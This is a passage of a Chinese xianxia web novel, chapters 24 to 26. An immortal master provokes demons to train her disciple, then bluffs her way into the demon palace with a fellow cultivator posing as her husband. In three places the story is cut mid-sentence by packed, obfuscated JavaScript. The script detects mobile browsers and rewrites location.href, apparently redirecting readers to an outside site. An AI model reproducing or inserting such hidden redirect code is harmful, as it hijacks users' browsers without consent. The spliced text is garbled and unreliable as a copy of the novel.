魔族大汉似是一激灵，晃了晃脑袋，瞪起眼睛怒气冲冲地质问：“怎么摆的桌子！撞到爷了！” 他一拍桌，冲着周玉衍道：“麻溜地给爷道歉！赔钱！” 周玉衍没想到，这年头魔界的碰瓷竟然这么简单粗暴演都不带演的，真是白瞎了她刚刚琢磨半天。 魔族大汉放开嗓门：“赶紧的！道歉赔钱！我弟兄们都在，你撞了爷可别想跑！” 他话完，对桌几个魔族大汉立刻提起了大刀，高声附和他。 “我道歉？我道什么歉！” 周玉衍一拍桌子，不屑道：“就你这样的，还有你们那边那一群——” “我徒弟一个能打十个！” 对桌的几个魔族也一拍桌子，大喝道：“好大的口气！你徒弟是哪个？叫他出来会会我的刀！” 周玉衍立刻起身往侧边跨了一大步，一旁的江以卓出现在了众人视野里。 她神情坚定，眼神鼓励，语气兴奋，“徒弟，上！给他们露两手！” 江以卓没想到周玉衍所说的“惹事”竟然这么朴实无华，被点了名后都有些愣神。 “好啊！金丹都不到的小鬼！竟如此目中无人！” “怕是活腻歪了想进地府了！” “来尝尝爷的刀！” 几个魔族大汉叫叫嚷嚷地齐齐亮出大刀，毫不客气地冲着江以卓劈来。 江以卓迅速回神，反应极快地跃空闪避，魔族大汉穷追不舍，出刀一刻未歇。 周玉衍在一旁看了半天，觉得这些金丹初期中期的魔族还是太不给力了，连江以卓那血雾都逼不出来。 筑基后期和金丹初期差距并不算特别大，加上男主的数值起步点又比npc的数值高得多，江以卓应付得虽然吃力，却不至于被几招之间危至性命。 周玉衍有些后悔，早知道应该选个多点高修为魔族的酒馆才对。 好在这方的打斗很快引起了管事魔族的注意，酒馆外突然吵嚷，抑制魔气的法宝被人掷进酒馆，闹事的魔族一下子停了动作。 周玉衍立刻上前，拉住江以卓的胳膊带着他从敞开的窗口轻功飞了出去。 还没等江以卓反应过来，二人已经落在了另一处酒馆前。 剧烈运功后的突然停息，让江以卓也剧烈喘息，周玉衍看了他半响，问道：“休息？还是继续？” 她顺便解释了一句，“方才那几个魔族太弱了，我看不下去，就把你带走了。” 江以卓尽力平复着被挑起的战意，一时未能答话。 恰好这时周玉衍腰间的传音玉牌微光闪烁，她启了玉牌，羡折的声音从中传出：“仙尊吩咐我的事都办好了，我是即刻进入魔界吗？还是等仙尊……” 周玉衍还没张口，江以卓突然道：“师尊，我们继续。” 他才刚刚缓过来一些，但还在半喘着气，声音很有些低哑。 玉牌另一头的人顿住了话语，再开口时语气冷了许多：“我即刻进魔界。” 24. 第 24 章 周玉衍欣慰地领着江以卓进了她通过系统开挂精挑细选的酒馆。 并且一字不改地重复之前的台词：“走，咱们进去，你准备准备开始历练了。” 江以卓也像之前一样认真应声，神情严肃蓄势待发。 周玉衍很感慨，江以卓这个男主不但是天选被pua体质，还很上进好强，极其配合听话，让系统都没法再多反驳她的行为。 系统一边哭一边不死心地碎碎念，企图能跨次元让江以卓听见：“男主你醒醒啊，她在pua你啊，男主你醒醒啊，她在pua你啊……” 周玉衍接着感慨：“我也算是能跟你感同身受——我看见恋爱脑女主就这样。” 系统心梗去了，周玉衍就开始打量着酒馆里的魔族。 系统筛选之下，这酒馆里的魔族修为大部分在金丹后期左右，是这座小城里目前聚着最多高阶魔族的地方了。 不过，羡折金丹大圆满的修为都劈不散江以卓那血雾，她估计金丹后期的魔族也够呛。 周玉衍盘算着，得想办法把那些魔族先惹急眼，助力他们在怒气的加持下超常发挥。 但她稍稍有些犹豫，她不算太了解魔族的习性，并不多清楚怎样能用最快的速度把魔族惹急眼。 没想到她还没开始惹事，就有人先来惹她了。 对桌的几个魔族大汉在小二端酒上桌时，冲着她吹起口哨：“咱们这小地方好久没进过外来人了——美人儿，一个人吗？” 周玉衍颇有些惊讶，接着大喜——她虽然不了解魔族这个整体，但她还不了解男魔族吗？！ 她只要表示婉拒，就一定会遭到各种诋毁。 如果对方态度强硬，她还能轻易地“惹上事”。 周玉衍立刻接话道：“何事？我徒弟跟我一起来的。” 几个魔族大汉往江以卓那儿瞟了一眼，接着意味深长地笑：“哟，男徒弟啊。” 也有人失望道：“男的啊？我还以为也是女子呢。” 其中一个长得凶神恶煞的魔族大汉站起身，端着酒碗走上前来：“想不到美人儿看着这副冰清玉洁的模样，竟然还养着个男徒弟，有意思啊。” “但一个有什么好玩的，咱们多几个一起玩玩啊？” 接着又有一人起身，搬起长凳就坐到二人对面：“出门在外，多认识认识人才好，正好我对这一块儿很熟，咱们一起聊一会儿？” 周玉衍作为身穿过来的现代女性，对这一幕简直不要太熟悉，连他们会根据与她同行的人的性别不同、从而发表不同的言论——她都已经预判到了。 她从容不迫地开口：“不了，我不喜与旁人说太多话。” “旁人？”那凶神恶煞的魔族大汉“砰”地放下酒碗，冷哼一声，“你这外边进来的人认不得我——我可是这方管事的爷！给你点好脸色是我赏你脸，竟如此不识抬举！” 周玉衍心道，她果然很了解男魔族，惹事的台词都不用多想。 并且这人大概今天心情很糟糕，连维系表面的“风度”都做不到了，她本来以为要走流程多掰扯一会儿，没想到这么快就进入了正题。 魔族大汉伸手就朝周玉衍抓来，周玉衍正要动作，江以卓的出剑却更快。 他一剑格开了魔族大汉的手，皱眉问道：“我师尊说了不喜，你伸手是想做什么？” “我做什么？自然是做你们平日做的事！”魔族大汉行动被阻，更是大怒，“没你的事！滚远点！实在喜爱你这师尊，爷跟兄弟们办事的时候把你绑在一旁看着！” 他话完再次伸手，眼前却突然划过一道血线。 “啊！！”魔族大汉尖叫一声，飞快地用另一只手捂住被利剑切断的手腕，他身后的几人见状也立刻涌上前来，有人掏出丹药递上，有人拔刀就要朝着江以卓劈来。 魔族大汉疼得面上不自觉地抽搐，他吃下丹药，抬手制止了众人的攻势。 “筑基后期就能破开我的护体功法……小子有点本事，难怪能做这美人儿的徒弟。” 他从地上捡起断手，佯装大度道，“我这么多兄弟在此，今日我也多给你们几分面子，你们初来乍到，可要加入我这方？” “不，”江以卓又是一剑，切断了他的另一只手，“我要杀了你。” 周玉衍颇有些惊讶地望过去，江以卓的神情堪称暴戾，身上煞气冲天。 他话完就疾速飞身上前，力道极大地挥剑，带出锋锐剑气，一招一式间杀气四溢。 魔族大汉也气得昏了头，大嚷着领着身后一群人冲了上去。 江以卓根本不避，大开大合地挥着剑。 不过一息，这方的血气便已经要堵塞呼吸，周玉衍皱起眉，退到一旁掐诀隔了个结界。 她很有些莫名其妙：“系统，男主突然发什么疯？他一会儿要是被人群殴死了，不能算我任务失败吧？” 系统也呆滞了：“……未知错误，无法计算。” 周玉衍犹豫了一会儿，还是决定先看戏，实在不行她再出手。 打斗几乎要掀翻这片酒馆，江以卓在数把大刀的挥砍下成了个血人，然而他挥剑的力道半分未减，剑势张狂，身上煞气也越发深重，几近实质。 他侧身避过一击后，寻到破绽又立刻提剑前冲，丝毫不知撤后。 那魔族大汉的人没想到江以卓敢跨一个大境界跟他们玩命，这会气红了眼，又因为境界和人数的差距心有底气，也没打算停手。 直到城中管事的魔族急忙赶来，掷出抑制魔气的法宝，魔族大汉那一群人像被以绝对实力压制那般，瞬间停了动作散了魔气，手中大刀也直直滑落在地。 江以卓飞速至前，接连几剑将众人的脑袋切了个干净。 系统在周玉衍识海中骤然尖叫，吓得周玉衍一下子没控制好表情，又碰巧这时江以卓顶着浑身的血朝她望来。 她刚准备像之前一样拉着江以卓跑路，却突然感受到了元婴后期魔族的威压直直压来这方，于是顿住了刚抬起的脚。 江以卓敛下眼，收了剑站在原地，却突觉有风声呼啸刺进耳内。 杀气一刹扑面，他眼中泛起惊色，但浑身动弹不得。 利刃似乎已经割破了他的脖颈，他嗅到了新鲜的血味。 这一刻他的意识都几乎要被碾灭，原先满身伤带来的刺骨剧痛都钝了下来，指尖开始发麻，他险些就要控制不住失了意识。 然而下一刻又有清风撞面，干净得令人几息间就清明了灵台，江以卓一怔，这才从元婴期的威压中夺回了呼吸。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264028|179486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他知道他身后远处站了个元婴魔族，与刚才那几个金丹魔族不同，对方能轻易杀死他。 但他没有回过头去看。 江以卓慢慢抬眼，看向面前刚刚抬手出过一掌的周玉衍。 她大抵是有什么护体结界，这酒馆四处溅满了血，她的衣衫却依旧白得刺目，比她挥袖带起的清风还要干净。 额间血珠顺着眉骨滑至眼下，刺得江以卓眼睛生疼，可他没有眨眼，直直看着周玉衍走上前，虚空点上他的眉心。 温和的灵力自眉心流入全身经脉，原先因为意识模糊而响起的嗡鸣渐渐消失，他的眼睛盯着面前的白影太久，干涩到刺痛，他终于本能地颤了颤眼睫。 血珠顺着他的眨眼滑过他的面部，江以卓唤了一声：“师尊。” 周玉衍神情清冷，并没有与他说话：“想杀我的徒弟，是不是也要先问过我这个做师尊的？” 元婴后期的魔族抬步上前：“这方小城竟然有位元婴大圆满的魔族……你也是主上的人？” 周玉衍没接话，只说：“将我徒弟伤成这样，什么人也都成我的仇人了。” 那魔族顿了一下：“伤你徒弟的人已经被他亲手杀死在了这处，而我晚来一步，仅是放出威压，还没来得及对他动手。” “你这等修为，我也并不想动手。既然都是主上的人，我们该尽快赶去魔宫，何必耽搁在此？” 周玉衍心道这台阶铺得真好，哪怕系统一问三不知，她也能顺着这话装高冷少说少错。 她正要开口，却有凌厉剑势自外袭来，如拍骇浪般倾落。 周玉衍一惊，顾不上给江以卓偷摸渡灵，赶紧越过他上前几步，果然看见羡折执剑走来。 “哦？又来一个？虽是金丹大圆满的修为，但恐怕能与元婴初期一战，”元婴魔族质问道，“都在魔宫待腻了？打着寻主上的名号跑去了外边？” 羡折没有答话，似乎是没想到一来就碰上这等场面，神色警惕，看见她下意识地上前几步，却又很快顿在了原地。 周玉衍朝羡折点了点头，接着很有经验地反问：“你不也是这般？否则怎会与我们在这处碰面？” 元婴魔族哼了一声，竟是放松了气场：“莫要多说耽搁事的话了，既然碰面，那便一起回魔宫吧。如此，任务的事，你我可彼此作证。” “这一地低等魔物的血，看着犯恶心。” 元婴魔族甩袖施了清洁术，接着道，“你徒弟这等煞气，出门可要栓条链子。” “这金丹大圆满的是你道侣？” 元婴魔族看了看羡折，又看了看江以卓，点评道，“可惜两个人的境界都与你差距过大，你想借双修之法寻机突破化神，不管是他们哪一个，都还不够格。” “不过按魔族的喜好，我觉得你徒弟要强上一些，反正也就多养几年的事。” 周玉衍这回也接不上话了。 她除了想刀了这人，还有一句话想对他说——胡乱揣测要不得，反派死于话多！他难道没有感受到三道死亡视线吗！ 周玉衍动了动指尖，想要掐诀朝这元婴魔族下个黑手。 羡折却突然抬步上前，一边向她走来一边说：“师是师，徒是徒。妻君与我早已结为道侣，轮不到旁的什么人多起心思。” 25. 第 25 章 “妻君下回还是莫要带他出来历练了。” 羡折走到了周玉衍面前，看着她说，“都这般年纪了，他独自历练就好。” “自从妻君收了他做徒弟，心思在他身上放了太多，叫我很难过。” 羡折垂下眼，“妻君……妻君多陪陪我吧。” 周玉衍稍有些愣，她没想到羡折这般刻板循礼的人，迫于无奈演起戏来时，竟然还挺像模像样。 这副模样，还说着这样的话，当真像是喜她爱她，又怨她多看了旁人少看了他。 周玉衍温声道：“是我不好，往后我多陪陪你。” 羡折抬眼深深看了她一眼，轻声应了句好。 元婴魔族不满道：“腻腻歪歪的，赶紧回魔宫了。” 话完他一顿，侧耳几息后皱眉道，“城中管事的人要进来了，麻烦，我去应付一下。” 周玉衍看着他的背影，若有所思。 魔界纷乱，哪怕顶上有个魔尊，底下的党派相争却也几乎没停过，看来这城中管事的人与这元婴魔族并不是一派。 “仙尊吩咐我的事都办好了，”羡折的声音拉回了她的思绪，“祝师妹很信任您，托我将她的传音玉牌给您。” 周玉衍接过羡折递来的传音玉牌，将其收进储物戒中：“若当真像我卜出的卦数那般，这方突起意外之事……还得你多多留心了。” 羡折：“同为日月宗弟子，自然该相助。” 周玉衍点头：“外边驱除灵兽的任务不会结束得太快，最近几日倒是可以安心。” “机会难得，咱们跟着方才那人混进魔宫探一探去。” 她朝一旁的江以卓招了招手，等他走来后继续道，“正好也当作你的历练。” 见江以卓沉默着没应声，周玉衍想了想，说，“不必多忧，为师保你不死。” “混进魔宫虽然有些风险，但于你的历练有利，那方的魔族修为境界更高……” “师尊，”江以卓打断她，“师尊不在意吗？” 周玉衍没明白：“什么？” “那些魔族的话，师尊当真不在意吗？”江以卓垂下眼，语气很沉，“我一开始……没能分辨出那是些污言秽语，否则根本不会叫他们有说第二句话的命。” “几剑杀了他们，还是叫他们死得太痛快了。” 周玉衍愣了。 江以卓抬眼，“他们那般过分，师尊怎么能不在意？师尊怎能……这般心平气和。” 周玉衍看着江以卓，他眼中因为戾气泛起的血丝还未完全消褪，望过来时像是隐忍着怒气，她却从其中窥见被强压下的星点泪光。 她心底微叹，还真是……少年的年纪啊。 “我很在意，”周玉衍开口，“但这样的人，我身为女子见了太多。” “方才那些人，修为一般，又是魔族，杀了便杀了，”周玉衍神情淡然，反问道，“但若是修士呢？若是对方修为更高，力量悬殊呢？” “你该问的不是我在不在意、生不生气、为何面色平淡。” 她直视江以卓的双眼，清晰道，“你该问的，是这世间为何会有这样多的渣滓，以至于叫我到了习以为常的地步。” 见江以卓明显怔愣，她没再多说，“你会因此愤怒倒是好事。” “不过人都被你杀了，我难道还为了解气跑去他们的尸体上踩两脚吗？那不是脏我的鞋底吗？” 周玉衍话完就转过身跟羡折商讨混进魔宫的事了。 羡折神情复杂，却没有多问，直到那元婴魔族急匆匆踏进这方，招呼着三人：“走走，去城侧传送阵，传到魔宫那附近去。” 周玉衍带头跟上前，刻意显出疑惑的神色：“这么着急？你把人惹着了？” 元婴魔族咧嘴一笑：“杀了。” 场间瞬静，周玉衍一顿，也缓缓笑起：“原来是着急论功行赏。” 元婴魔族笑道：“也算你一半的功劳，毕竟是你徒弟把城中管事引来的。” “等回了魔宫，我立刻去找左护法领功，之后咱们再一起去右护法那儿汇报任务进程，如何？” 周玉衍瞥了他一眼：“算盘打得真响，可要不是你插手打断我徒弟的历练，方才那管事的人头，也该是我的。” 元婴魔族眼中精光闪动：“这不是正好路过嘛，您大人大量……” 话还未完，周玉衍便一掌轰向他的面门。 元婴魔族急忙闪避，却还是被余势击中，咳出一口血来。 “……这位大人还真是不好相与啊，既然都是主上的人，何必自相残杀？” 周玉衍漫不经心道：“既然都是主上的人，你难道没听说过，从我手底下捞好处的代价？” 元婴魔族眼神一凛：“您是……主上身边的那几位？” “原来是没认出我来，难怪敢这般态度与我说话，”周玉衍聚着“魔气”，作势又要轰出一掌，“看来我退隐的这些年，魔宫里边越发乱套了。” 元婴魔族赶紧支起护体结界：“这位大人手下留情！” “我不过刚刚元婴后期，勉强能在魔宫排个辈，您这些顶上大人的事，我自然是不多清楚的。” 周玉衍身上势气未减，瞥向他：“那你现今可清楚了？” 元婴魔族立刻哈腰赔笑：“清楚了清楚了，这方功劳都是您的，我只是来接引您回魔宫的。” 周玉衍散了手中魔气：“多事之秋，现今最要紧的是寻到主上，且饶过你这一回，去传送阵吧。” 元婴魔族明显松了口气，再不敢多说任何，只是到了城侧的传送阵后，他踌躇了一番，还是开口道：“大人，现今左右护法都在魔宫中，进出魔宫查得很严，您……您为寻主上出山，可有带着身份令牌？” “左右护法的那些人您也是知道的，若是没有令牌，得跟他们纠缠许久。” “现任左右护法的是哪两个魔族？”周玉衍听出他话里的试探，面上未显任何，放出威压端着架子冷冷道，“还有胆子查我的令牌？” 元婴魔族见她这副做派，有些惊疑不定：“容我冒昧问一句，大人您是……” “知道问话是冒犯，还问？”周玉衍打断了他，踏进传送阵。 元婴魔族闭了嘴，神色忐忑地启了传送阵，众人传送到魔宫外的一处大院。 还没等他开口，周玉衍就吩咐道：“去给我备个好点的马车，省得再有像你这般没眼色的人上来扰我。” 元婴魔族赶紧应下，急匆匆出了院子，很快一辆极尽奢华的马车停在了院外，只不过牵车的是几头通体黑亮的带翼魔兽。 “大人您请，”元婴魔族讨好道，“我给您牵车。” 周玉衍颔首，进了车厢后发现内部比她想象中还要宽敞，思索一番后掀起车帘招呼羡折：“夫君，你上来。” 羡折闻言诧异望来，还没等他开口，江以卓沉声道：“师尊这般不太妥当吧？身份界限所在，他怎能与您一辆马车？牵车都是赏赐了。” 周玉衍挑眉：“好徒弟，莫要仗着为师平日宠爱你，就敢这般与你师爹说话。” 江以卓闭目吸气，好一会儿才开口：“师尊误会，是弟子有些功法上的问题想请教……师爹。” 元婴魔族上前蹬了江以卓一眼：“真没眼力见！” 话完他转头看向周玉衍，语气骄傲道，“大人放心，我懂！这马车是我精挑细选的，车厢内有置隔音结界。” “不过这方院子距离魔宫不算太远，坐马车大抵也只需小半个时辰的路程，大人您……适当，不然要是中途到了地方，那不是扰您的兴致嘛……” 周玉衍沉默了几息，顶着两道颇为诡异的视线，皮笑肉不笑地说：“你还真是有心了。” 元婴魔族沾沾自喜：“应该的，应该的。” 但突然他像是想起了什么，迟疑道，“大人，您夫君这般相貌有些惹眼，要不……易容一下？或是戴个面具？” 周玉衍好奇道：“他的相貌怎么了？” 元婴魔族委婉道：“就是……太像外边的道君了，咱们魔族本来就不多喜欢他这副模样的……您将他带去魔宫，着实有些招摇。” 周玉衍明白了，羡折一身仙风道骨，又是这样的性子，简直完美符合魔族刻板印象里的那些“破修仙的”。 她心道刻板印象要不得，江以卓那副模样不也照样是修仙的嘛。 “我就喜欢这副道君模样的，”周玉衍弯眼笑道，“好看。” “招摇就招摇，反正是我的人，他们不喜就剜自己的眼睛去，叫我夫君遮掩相貌做什么。” 周玉衍做足了轻慢的姿态，话完后朝着略有些局促的羡折勾手，“夫君，来。” 羡折的面色还算镇定，垂着眼一言不发地顺着周玉衍的话上了马车。 周玉衍将车帘合上的最后一刻，正好与江以卓对上目光，那双眼沉得可怕。 她眨眨眼，毫不愧疚地拉了帘——徒弟正是该强身健体的时候，万恶的懒人代步马车还是她这个做师尊的替他坐吧！ 车帘合闭后，果真像那个元婴魔族说的一样，这车厢内布了隔音结界，外边的声音一点都听不见了。 她转头去看羡折，羡折进来后就端坐在车厢另一侧，也不朝她看，只侧头盯着车壁。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298035|179486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 周玉衍坐过去到他身旁，与他说着计划：“照这元婴魔族的意思，魔尊应该是出了什么事，与魔界的联系切断了，魔界现在都在找人。” “高阶魔族常常内乱，魔尊失踪或许也有他们一些人的手笔，我扮个厉害的身份混进魔宫，看看能不能添个乱，在魔宫中悄悄布几个攻击阵法……” 周玉衍盘算着，既然后期剧情中祝临兰会与魔尊对上，那她这一趟魔界也别白进，顺手给魔宫的人动些手脚去。 只是系统自从出了酒馆就装死了，她在识海中喊了它半天都不应。 周玉衍想起系统最后哀嚎的那句“男主怎么能杀这么多人”，估摸着它应该是终于认清了江以卓这个男主的本性与温润人设相差甚远的事实，只是一时还接受不了。 指望不上系统，她就只能凭着之前从古籍上看过的一些魔界传闻行动了。 她叭叭叭地跟羡折说完了计划，问他：“这般如何？” 羡折开口接话，只是依旧没有向她看来：“仙尊计划得很周全，不过魔界之前那位退隐的大祭司十分神秘，外界对其了解极少，身形、样貌、甚至性别，或许都不一定能对得上，也有传闻说那人早已身死……” “神秘才好扮。” 周玉衍笑起，“不知道什么是真，也就不知道什么是假。” “这人身份高得连魔尊都要敬其几分，更不必说底下的其他魔族——他们根本没胆子多问。放心，我有把握唬弄过去。” 她顿了一下，“只是……咱们现今成了道侣，有时候得你多配合我一下了。” 羡折没应话，周玉衍有些疑惑，以为是他没仔细听，凑过身去又重复了一遍，“羡折？这几日在魔宫需你多多配合我，扮个好夫君。” 她凑得近，闻见了一点寒霜的冷息，也看见了羡折颤着的睫羽。 “我知道你这般恪守礼法定是不愿的，只是现今情况特殊，等出了魔界不会有人知道这事的，你……” “仙尊，”羡折打了断她的话，侧头望过来，“……我愿意的。” 他这话说得很轻，望过来的眼神却极其专注，叫周玉衍莫名心头发紧，愣愣道：“你、你愿意就好。” 羡折收回眼，往车壁那边靠了靠，却退无可退，他静了两息，再次开口：“马车颠簸，仙尊坐好……坐稳。” 周玉衍颇有些疑惑，这马车稳得很，车厢内根本一点颠簸感都没有。 她正要开口询问，车帘的结界却被人触了触。 周玉衍掀起车帘，就见元婴魔族眉头紧锁，上前道：“大人，这方城中管事不知闹什么毛病，来这街市查马车来了。” 他将自身元婴后期的修为压至金丹中期，悄声道：“那人不是主上的人，大人莫要暴露身份。” 周玉衍探头，前方不远处的确聚了许多人和马车，她应了一声，放下车帘，转头又坐到羡折身边：“出了点事，咱们先扮作普通……” 她话还未完，车厢门就被撞了一下，因为有着隔音结界没发出声响，但却带得整个车厢都晃动了几下。 她立刻明白是外边起了冲突，怕是要强行查车。 羡折突然提剑，就要上前推剑格挡，吓得周玉衍赶紧抓住他执剑的手：“收剑！” 羡折动作一僵，好像没能反应那般。 “快收剑！”周玉衍催促道。 车厢门被外边的人强行打开的前一刻，羡折才反应过来，迅速收了剑，与此同时周玉衍抓着他的手一扑，二人贴靠在车壁边上。 “我都说了里边是我主子和她夫君！哪有藏什么私货！” 车厢门被打开，传来元婴魔族气愤的声音，周玉衍半压着羡折，像是才发现马车被截停那般，侧头皱眉，看向外边：“前边出什么事了？” 话说出口后，周玉衍才意识到她跟羡折几乎要滑下位子，她挪了挪，想要坐回到软垫上，却突然感觉身子一轻。 羡折扣住她的腰身将她带起，二人维持着原先贴靠的姿势坐回了软垫上。 周玉衍觉得羡折按在她腰侧的手力道稍有些大，伸手过去拍了拍他的手背，示意他松些劲儿。 羡折没动，沉沉望着她。 周玉衍瞥了眼车门外紧盯着二人的侍卫，也不好太大动作，只能开口道：“夫君，轻一些。” 但她这话说完，反而感觉腰上按着的力道更大了一些，羡折的呼吸也徒然加重，她贴靠在他的衣襟前，明显感觉到他的胸膛在随着呼吸加速起伏。 周玉衍顿时有些怒，覆在羡折手背上的手用力掐了他一下，同时抬头瞪他。 让你轻点，你还起劲了？？ 26. 第 26 章 羡折松了手，抬手用手背抵住周玉衍的肩骨，轻轻将她推开一些，偏头去望车壁：“妻君坐好一些。” 周玉衍也发现二人现今的姿势着实有些亲密，理了理衣裳坐回到原先的位子。 “打扰我主子的好事！” 元婴魔族不满道，“早都说了没藏东西！你们强行查车，我可要上报到左护法大人那里去！” 立刻有个蓝袍人上前将他抚开，语气尖利：“上报左护法？随你！我可是奉命查这方街市，你与你主子当真不满，就与右护法大人说去！” “我方才打的那道魔咒还没到人身上就被化解了，你这车厢肯定有问题！” 蓝袍人对着周玉衍和羡折喝道，“都下来！” 周玉衍放出威压：“你不过才元婴初期，我能化解你的魔咒不是很正常吗？” 蓝袍人一顿，再开口时语气明显好了许多：“您是哪位大人？怎么今日这般好兴致乘马车逛街市来了？” 周玉衍还没开口，元婴魔族立刻跳出来接话道：“我主子的名讳是你能打听的吗！敢查我主子的车，等着回头被左护法大人撤职吧！” 蓝袍人神色微凛：“这位大人是左护法身边的人？” 周玉衍反问道：“你是右护法的人？看来他现今挑人真是越来越不行了。” 蓝袍人见周玉衍这般口气，面上神情越发惊疑：“这位大人是要回魔宫吗？可是寻到了主上的踪迹？” 周玉衍：“你没回答我的话，还想问我话？右护法是觉得主上失踪，这魔宫仅他能揽权吗？” 蓝袍人大惊：“大人慎言！魔宫自然是主上的魔宫，右护法大人绝无这等念头！” 他挥开了侍卫，上前几步双手捧着一块玉牌递过来，“大人请看，这是右护法大人予我的令牌，命我探查这方街市可有人私藏魔晶。” 蓝袍人悄声道，“您知道的，就是前些日子魔宫北面的魔矿坍塌那事。” “属下也是奉命行事，并不清楚拦的是您。两位护法大人一向默契，我们这些底下的人也莫要因为误会伤了和气，您说呢？” 周玉衍聚气抓起他手上的令牌，装模作样地看了看：“的确是右护法的令牌。” 蓝袍人：“自然，魔界之中哪有人敢冒充魔宫那些大人？那可是要被剥皮的。” 周玉衍直接将他的令牌收了起来：“现今进出魔宫查得严，要是没了身份令牌，可要费许多功夫找人来证实身份。” “右护法命你探查这方，肯定也给了时限，你要是因没了令牌误了事被罚，可要记得下回别拦我的车。” 她话完就直接出掌，将蓝袍人轰去了一旁，“继续行路，莫要耽搁我回魔宫。” 蓝袍人跌了一跤后赶紧爬起跑上前：“大人！大人！这令牌您不能拿啊！” 周玉衍隔空点了点他，咒法顺着她的指尖飞速涌入蓝袍人的眉心：“你强行拦我的车，我自然要给你个教训，否则人人都像你这般，我威信何在？” 蓝袍人脸色难看：“大人，纵然您是左护法的人，可您也不能这般行事啊！现今的魔宫……可不同于从前！” 周玉衍漫不经心道：“主上不在，自然是不同于从前的，但这等所有人都心知肚明的事，你这般说出来，怕不是有不轨之心？” 蓝袍人眼神微闪，反驳道：“自然不是！我是右护法大人底下的人，右护法大人可是忠心耿耿！” 周玉衍冷哼一声：“我急着回魔宫，现下不多与你计较，但你若是再冲撞我……” 她身上威压更重，明晃晃地威胁道，“我拎着你的头回魔宫也行。” 元婴魔族见状立刻坐回了牵车的魔兽上，一甩鞭喝道：“都让开！我主子什么身份，你什么身份！敢拦我主子的车，自然该多吃些教训！” 蓝袍人踌躇了半天，没敢再接话，由着元婴魔族牵车过了路。 * 等到了魔宫下了马车，搜查的侍卫一看周玉衍的令牌，恭恭敬敬地将她请了进去，但羡折和江以卓却被拦住了。 “我夫君，我徒弟，”周玉衍指了指两人，“与我一起的。右护法大人只给了我身份令牌。” 侍卫摇头道：“右护法大人只给了您身份令牌的话，那就是只许您进魔宫的意思。” 周玉衍没想到这魔宫还真就得一人一令牌才能进，心道早知刚才路过打劫时，再多顺两个令牌走了。 “现今这魔宫外边太乱，我这才带上了一家子，”她愁眉苦脸道，“只是右护法大人嫌他们修为低微，不愿多给我令牌，但我哪能放心将他们留在外边。” 周玉衍现学现卖，“你们看守着魔宫入口，肯定也知道，就是前几日魔宫北面魔矿坍塌的事。” 她悄声道，“一矿的魔晶，炸得到处都是。” “要我说，魔矿坍塌也就损失了一矿的魔晶而已，哪里犯得着这么大阵仗查来查去，”周玉衍摸出一个储物袋塞过去，“旁的人拿几个就拿几个了。” 被塞储物袋的侍卫小幅度地掂了掂袋子，眼神瞬间一变，原先板着的脸都放松了许多，但面上神情还是稍有些犹豫。 周玉衍继续道，“好在这事是右护法大人在查，查完后那些魔晶也都是要经过右护法大人那边的。” “右护法大人给我令牌要我进魔宫，就是要我一同探查此事，只不过我实在放心不下我夫君和徒弟，就将他们一起带来了。” 那侍卫将储物袋收了起来：“大人有这等修为，想来定是右护法大人的左膀右臂，魔晶之事还要辛苦您探查了。” 侍卫们退开来，让羡折和江以卓进了魔宫：“大人这般念着他们，可真是他们的福分，不过进了魔宫后，大人还是找右护法大人再多要两个令牌比较好。” 周玉衍笑道：“多谢提醒。” 待一行人进入魔宫深处，安静了很久的元婴魔族终于开口：“大人进魔宫的法子还真是特殊。” 周玉衍平和道：“哪里特殊？天下所有的关卡，都可这般进入。” 元婴魔族：“大人究竟是什么人？” 周玉衍聚起魔气，神情平淡：“我劝你少打听，多多顾好自己的命。” 元婴魔族即刻噤声。 周玉衍瞥他一眼：“你现今要去做什么？找左护法领功？还是找右护法告状？” 元婴魔族神色紧张：“天色已晚，今日还是先歇息吧， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16311817|179486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁的什么……等大人您吩咐。” 周玉衍点点头：“还算识相。魔宫里边都是按身份划院子吧？你的院子够不够住人？” 元婴魔族苦笑道：“大人，我这点修为这等身份，哪有什么大院子住，我那住处只多一间屋子。” 周玉衍沉思了一会儿，点了点江以卓，对元婴魔族说：“我徒弟住进去。” 她看向江以卓，“我跟你师爹去逛一圈魔宫，你先去歇息。” 江以卓似乎心情很差，只抬眼看她一眼，并没有应声。 周玉衍补充道：“有事就唤我，我与你有师徒契，能感受到你的状态，且安心。” 元婴魔族明白这话其实也是对他说的，立刻接话道：“大人放心，我定会照看好您徒弟的。” 周玉衍颔首，见江以卓没应话却也没反驳，单方面拍板了这事，招呼羡折：“走吧，夫君。” 羡折乖顺地跟上，也不问她是去哪里。 等二人七拐八弯地绕到一处离其它院子很远的大院，周玉衍才停下脚步。 “这是……那位退隐的大祭司的院子？”羡折打量着有些灰扑的院门。 周玉衍：“不错，你是怎么知道的？” 